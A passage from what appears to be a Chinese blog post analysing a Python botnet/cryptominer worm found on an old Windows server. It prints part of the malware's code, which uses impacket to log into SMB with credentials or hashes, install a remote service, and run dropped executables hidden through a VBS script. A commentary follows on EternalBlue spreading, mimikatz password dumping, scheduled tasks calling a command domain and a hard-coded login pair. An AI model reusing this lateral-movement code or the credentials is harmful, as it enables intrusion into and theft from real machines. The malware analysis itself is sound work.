global LastDataSent
if hideOutput is True :
LastDataSent = data
else :
LastDataSent = ''
self . server . writeFile ( self . tid , self . fid , data )
class Pipes ( Thread ):
def __init__ ( self , transport , pipe , permissions , share = None ):
Thread . __init__ ( self )
self . server = 0
self . transport = transport
self . credentials = transport . get_credentials ()
self . tid = 0
self . fid = 0
self . share = share
self . port = transport . get_dport ()
self . pipe = pipe
self . permissions = permissions
self . daemon = True
def connectPipe ( self ):
try :
self . server = SMBConnection ( '*SMBSERVER' , self . transport . get_smb_connection () . getRemoteHost (), sess_port = self . port , preferredDialect = dialect )
user , passwd , domain , lm , nt , aesKey , TGT , TGS = self . credentials
if self . transport . get_kerberos () is True :
self . server . kerberosLogin ( user , passwd , domain , lm , nt , aesKey , TGT = TGT , TGS = TGS )
else :
self . server . login ( user , passwd , domain , lm , nt )
self . tid = self . server . connectTree ( 'IPC$' )
self . server . waitNamedPipe ( self . tid , self . pipe )
self . fid = self . server . openFile ( self . tid , self . pipe , self . permissions , creationOption = 64 , fileAttributes = 128 )
self . server . setTimeout ( 1000 )
except :
logging . error ( "Something wen't wrong connecting the pipes( %s ), try again" % self . __class__ )
class RemoteStdOutPipe ( Pipes ):
def __init__ ( self , transport , pipe , permisssions ):
Pipes . __init__ ( self , transport , pipe , permisssions )
def run ( self ):
global LastDataSent
self . connectPipe ()
return
while True :
try :
ans = self . server . readFile ( self . tid , self . fid , 0 , 1024 )
except :
pass
else :
try :
if ans != LastDataSent :
sys . stdout . write ( ans . decode ( 'cp437' ))
sys . stdout . flush ()
else :
LastDataSent = ''
if LastDataSent > 10 :
LastDataSent = ''
except :
pass
class RemoteStdErrPipe ( Pipes ):
def __init__ ( self , transport , pipe , permisssions ):
Pipes . __init__ ( self , transport , pipe , permisssions )
def run ( self ):
self . connectPipe ()
return
while True :
try :
ans = self . server . readFile ( self . tid , self . fid , 0 , 1024 )
except :
pass
else :
try :
sys . stderr . write ( str ( ans ))
sys . stderr . flush ()
except :
pass
class RemoteStdInPipe ( Pipes ):
def __init__ ( self , transport , pipe , permisssions , share = None ):
self . shell = None
Pipes . __init__ ( self , transport , pipe , permisssions , share )
return
def run ( self ):
self . connectPipe ()
return
self . shell = RemoteShell ( self . server , self . port , self . credentials , self . tid , self . fid , self . share , self . transport )
self . shell . cmdloop ()
class StrReader :
def __init__ ( self , str ):
self . __str = str
def close ( self ):
pass
def read ( self , size = 1024 ):
ret_str = self . __str [: size ]
self . __str = self . __str [ size :]
return ret_str
class PSEXEC :
KNOWN_PROTOCOLS = { '445/SMB' : ( 'ncacn_np: %s [ \\ pipe \\ svcctl]' , 445 )}
def __init__ ( self , copyFile = None , exeFile = None , cmd = '' , username = '' , password = '' , domain = '' , fr = '' , hashes = None , aesKey = None , doKerberos = False ):
self . __username = username
self . __password = password
self . __protocols = PSEXEC . KNOWN_PROTOCOLS . keys ()
self . __command = cmd
self . __domain = domain
self . __fr = fr
self . __lmhash = ''
self . __nthash = ''
self . __path = None
self . __aesKey = aesKey
self . __exeFile = exeFile
self . __copyFile = copyFile
self . __doKerberos = doKerberos
if hashes is not None :
self . __lmhash , self . __nthash = hashes . split ( ':' )
return
def run ( self , addr ):
for protocol in self . __protocols :
protodef = PSEXEC . KNOWN_PROTOCOLS [ protocol ]
port = protodef [ 1 ]
logging . info ( 'Trying protocol %s ... \n ' % protocol )
stringbinding = protodef [ 0 ] % addr
rpctransport = transport . DCERPCTransportFactory ( stringbinding )
rpctransport . set_dport ( port )
if hasattr ( rpctransport , 'set_credentials' ):
rpctransport . set_credentials ( self . __username , self . __password , self . __domain , self . __lmhash , self . __nthash , self . __aesKey )
rpctransport . set_kerberos ( self . __doKerberos )
self . doStuff ( rpctransport )
def openPipe ( self , s , tid , pipe , accessMask ):
pipeReady = False
tries = 50
while pipeReady is False and tries > 0 :
try :
s . waitNamedPipe ( tid , pipe )
pipeReady = True
except :
tries -= 1
time . sleep ( 2 )
if tries == 0 :
logging . critical ( 'Pipe not ready, aborting' )
raise
fid = s . openFile ( tid , pipe , accessMask , creationOption = 64 , fileAttributes = 128 )
return fid
def connectPipe ( rpctransport , pipe , permisssions ):
transport = rpctransport
server = SMBConnection ( '*SMBSERVER' , transport . get_smb_connection () . getRemoteHost (), sess_port = transport . get_dport (), preferredDialect = dialect )
user , passwd , domain , lm , nt , aesKey , TGT , TGS = transport . get_credentials ()
if transport . get_kerberos () is True :
server . kerberosLogin ( user , passwd , domain , lm , nt , aesKey , TGT = TGT , TGS = TGS )
else :
server . login ( user , passwd , domain , lm , nt )
tid = server . connectTree ( 'IPC$' )
server . waitNamedPipe ( tid , pipe )
fid = self . server . openFile ( tid , pipe , permissions , creationOption = 64 , fileAttributes = 128 )
server . setTimeout ( 6000 )
return server
def doStuff ( self , rpctransport ):
global LastDataSent
global dialect
dce = rpctransport . get_dce_rpc ()
try :
dce . connect ()
except Exception as e :
return False
dialect = rpctransport . get_smb_connection () . getDialect ()
try :
unInstalled = False
s = rpctransport . get_smb_connection ()
s . setTimeout ( 30000 )
installService = serviceinstall . ServiceInstall ( rpctransport . get_smb_connection (), remcomsvc . RemComSvc ())
installService . install ()
if self . __copyFile :
try :
installService . copy_file ( self . __copyFile , installService . getShare (), 'temp \\ svchost.exe' )
except :
print 'file exist'
tid = s . connectTree ( 'IPC$' )
fid_main = self . openPipe ( s , tid , ' \\ RemCom_communicaton' , 1180063 )
packet = RemComMessage ()
pid = os . getpid ()
packet [ 'Machine' ] = ( '' ) . join ([ random . choice ( string . letters ) for _ in range ( 4 )])
packet [ 'ProcessID' ] = pid
if self . __exeFile :
if self . __fr == '1' :
installService . copy_file ( self . __exeFile , installService . getShare (), 'temp \\ updll.exe' )
self . __command = self . __command . replace ( '"' , '""' )
vbs_cmd = ' \n Set ws = CreateObject("WScript.Shell") \n ws.Run " %s ",0 \n Set ws = CreateObject("WScript.Shell") \n ws.Run ".. \\\\ temp \\\\ updll.exe",0 \n ' % self . __command
elif self . __fr == '3' :
installService . copy_file ( self . __exeFile , installService . getShare (), 'temp \\ setup-install.exe' )
self . __command = self . __command . replace ( '"' , '""' )
vbs_cmd = ' \n Set ws = CreateObject("WScript.Shell") \n ws.Run " %s ",0 \n Set ws = CreateObject("WScript.Shell") \n ws.Run ".. \\\\ temp \\\\ setup-install.exe",0 \n ' % self . __command
else :
installService . copy_file ( self . __exeFile , installService . getShare (), 'temp \\ upinstalled.exe' )
self . __command = self . __command . replace ( '"' , '""' )
vbs_cmd = ' \n Set ws = CreateObject("WScript.Shell") \n ws.Run " %s ",0 \n Set ws = CreateObject("WScript.Shell") \n ws.Run ".. \\\\ temp \\\\ upinstalled.exe",0 \n ' % self . __command
installService . copy_file ( StrReader ( vbs_cmd . strip ()), installService . getShare (), 'temp \\ tmp.vbs' )
self . __command = 'cmd /c call "c: \\ windows \\ temp \\ tmp.vbs"'
packet [ 'Command' ] = self . __command
print self . __command
s . writeNamedPipe ( tid , fid_main , str ( packet ))
LastDataSent = ''
stdin_pipe = RemoteStdInPipe ( rpctransport , ' \\ %s%s%d ' % ( RemComSTDIN , packet [ 'Machine' ], packet [ 'ProcessID' ]), smb . FILE_WRITE_DATA | smb . FILE_APPEND_DATA , installService . getShare ())
stdin_pipe . start ()
stdout_pipe = RemoteStdOutPipe ( rpctransport , ' \\ %s%s%d ' % ( RemComSTDOUT , packet [ 'Machine' ], packet [ 'ProcessID' ]), smb . FILE_READ_DATA )
stdout_pipe . start ()
stderr_pipe = RemoteStdErrPipe ( rpctransport , ' \\ %s%s%d ' % ( RemComSTDERR , packet [ 'Machine' ], packet [ 'ProcessID' ]), smb . FILE_READ_DATA )
stderr_pipe . start ()
time . sleep ( 1 )
installService . uninstall ()
s . deleteFile ( installService . getShare (), 'temp \\ tmp.vbs' )
unInstalled = True
return True
except SystemExit :
return False
except :
if unInstalled is False :
time . sleep ( 1 )
installService . uninstall ()
s . deleteFile ( installService . getShare (), 'temp \\ tmp.vbs' )
return False
```
2025-04-10 01:19:10 +00:00
</details>
2024-11-02 12:32:13 +00:00
# 行为分析
那这个代码都干了些什么呢?首先动态分析一下吧,我用微步云沙箱检查了一下,不过好像有人已经上传过了,[这个是报告 ](https://s.threatbook.com/report/file/60b6d7664598e6a988d9389e6359838be966dfa54859d5cb1453cbc9b126ed7d )。好像也没啥特别的,先给445端口开了个防火墙,估计是防止其他人利用永恒之蓝入侵,然后整了几个请求几个“beahh.com”域名的定时任务,另外就是同网段扫描啥的,应该是找其他机器继续尝试用漏洞入侵感染这个木马。
之后再看看代码,干的基本上确实是这些事情,主要就是利用永恒之蓝漏洞然后各种扫描,似乎有创假的系统用户的操作,不过没太看懂,扫描的时候除了用漏洞和弱密码之外好像还用了个“k8h3d:k8d3j9SjfS7”的用户?这是连别家的僵尸网络的节点吧,入侵完还给它删了🤣,还有加定时任务,然后用mimikatz把这台机器的密码存到“c:\windows\temp\mkatz.ini”这个文件里,扫描的时候也使用这里获取的密码,可能是考虑有些集群全都用一样的用户名和密码吧。木马的作者应该会利用那些定时任务发布指令,有可能会把密码拿走或者干别的事情吧。
不过定时任务里写的那个地址已经访问不到了(就连获取IP的接口也请求不通了),我在网上搜了一下看行为应该是这个[搞门罗币挖矿的木马 ](https://blog.checkpoint.com/2019/03/19/check-point-forensic-files-monero-cryptominer-campaign-cryptojacking-crypto-apt-hacking/ ),代码里没有体现,有可能是那个域名对应的远控服务器干的。不过这篇文章是2019年的,估计作者已经进去了吧,所以访问不到服务器😂,但是5年过去了,他的木马还在忠实的为他寻找肉鸡并等待他发布指令😭,这就是僵尸网络的魅力吧。
# 感想
用Python写的木马也挺有意思啊,这个代码中用到“[impacket ](https://github.com/fortra/impacket )”库我还是头一次了解,看起来可以封装各种各样的网络包,感觉说不定会有项目能用得上,看这个代码也是学到了啊……
如果我能有属于自己的僵尸网络能不能让我的项目永存呢?不过这些感染了木马的老服务器总有一天会被淘汰掉,新的服务器肯定不会装Windows Server 2008这样超老的系统 ~~(我除外🤣)~~ ,而且现在新的系统漏洞越来越少了,想要出现像当年永恒之蓝那样的漏洞估计不太可能了,在未来估计就不会存在僵尸网络了……所以这还是做不到永存啊……